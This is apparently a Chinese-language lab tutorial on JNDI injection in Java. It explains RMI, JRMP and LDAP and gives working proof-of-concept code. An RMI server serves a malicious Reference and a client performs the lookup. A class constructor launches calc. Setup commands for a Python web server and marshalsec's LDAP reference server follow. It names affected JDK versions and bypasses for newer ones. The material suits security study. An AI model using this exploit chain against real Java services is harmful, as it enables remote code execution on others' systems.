概念 JNDI Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI本质上是一个接口,在这个接口下可以实现多种目录系统服务,如RMI、LDAP等,可以通过名称查询相关对象
RMI RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。
相当于跨越jvm,调用一个远程方法。RMI是一种行为,即Java远程方法调用
JRMP Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
本质上是一个协议,用于Java RMI过程,功能上相当于web访问中的http协议,只有通过使用该协议才能实现RMI远程方法调用
LDAP LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。本质上相当于一个数据库,
JNDI注入原理 JNDI支持多种服务类型,当服务类型为RMI协议时,如果从RMI注册服务中lookup的对象类型为Reference类型或其子类时会导致远程代码执行。
因为Reference类提供了两个重要属性:
1 2 3 4 5 1. className 远程调用引用的类名2. codebase url 决定在进行rmi远程调用时对象的位置,codebase url 支持http协议,当通过lookup寻找的远程调用类在RMI服务器的CLASSPATH不存在时就会从指定的codebase url 进行类的加载,如果两者都没有,远程调用失败
JNDI RCE漏洞产生原因
1 在lookup的时候,会从RMI注册中心下载数据,由于服务名称和对象或命名引用相关联,只要在Registrations注册中心注册一个命名引用,即Reference ,它具有三个参数,className、factory、classFactoryLocation。ookup它并下载到本地后,会使用Reference 的classFactoryLocation指定的地址去下载className指定class 文件,接着加载并实例化,这样就会远程调用类的构造方法,如果把恶意代码放在远程调用类的构造方法中,就可以触发RCE。
JNDI+RMI 适用版本:小于JDK 6u132,
JDK 7u122,
JDK 8u113(原因是Java提升了JNDI 限制了Naming/Directory
服务中JNDI Reference
远程加载Object Factory
类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
,即默认不允许从远程的Codebase
加载Reference
工厂类。)
测试jdk版本 8u101
CIENT.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package jndi;import javax.naming.Context;import javax.naming.InitialContext;public class Client { public static void main (String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa" ; Context ctx = new InitialContext(); ctx.lookup(uri); } }
SERVER.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference aa = new Reference("ExecTest" , "ExecTest" , "http://127.0.0.1:8081/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'" ); registry.bind("aa" , refObjWrapper); } }
ExecTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest () throws IOException,InterruptedException { String cmd="calc" ; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage (final InputStream input) { new Thread (new Runnable() { @Override public void run () { Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null ; try { while ((line=bf.readLine())!=null ) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } public static void main (String[] args) { } }
把编译好的ExecTest.class文件放到web目录下
启用web服务
1 py -3 -m http.server 8081
在IDEA里执行SERVER和CLIENT,成功弹出计算器
JNDI+LDAP 除了RMI服务外,JNDI还可以对接LDAP服务,只需要把lookup的地址改成ldap://
即可,同样可以从攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
适用版本
小于JDK 11.0.1、8u191、7u201、6u211(之后com.sun.jndi.ldap.object.trustURLCodebase属性值被调整为false)
这里使用工具来搭建ldap服务端 https://github.com/mbechler/marshalsec
安装过程
https://www.cnblogs.com/cute-puli/p/14373826.html
https://blog.csdn.net/qq_43968080/article/details/105586109
1 java -cp marshalsec-0 .0 .3 -SNAPSHOT-all .jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081 /#ExecTest
跟之前一样开启http服务并把恶意类class文件复制到目录下
CLIENT.java
1 2 3 4 5 6 7 8 9 10 11 12 package jndi;import javax.naming.InitialContext;public class Client { public static void main (String[] args) throws Exception { Object object=new InitialContext().lookup("ldap://192.168.111.129:1389/ExecTest" ); } }
执行成功
绕过高版本限制 版本大于JDK 11.0.1、8u191、7u201、6u211
时,之前这些利用方式都已经失效。但是仍然可以绕过
两种绕过方法:
1 2 3 1 .找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。2 .利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
主要依靠受害者本地CLASSPATH
中的类,需要利用受害者本地的Gadget
进行攻击。
参考:
https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/
https://xz.aliyun.com/t/6633
https://www.anquanke.com/post/id/221917#h3-2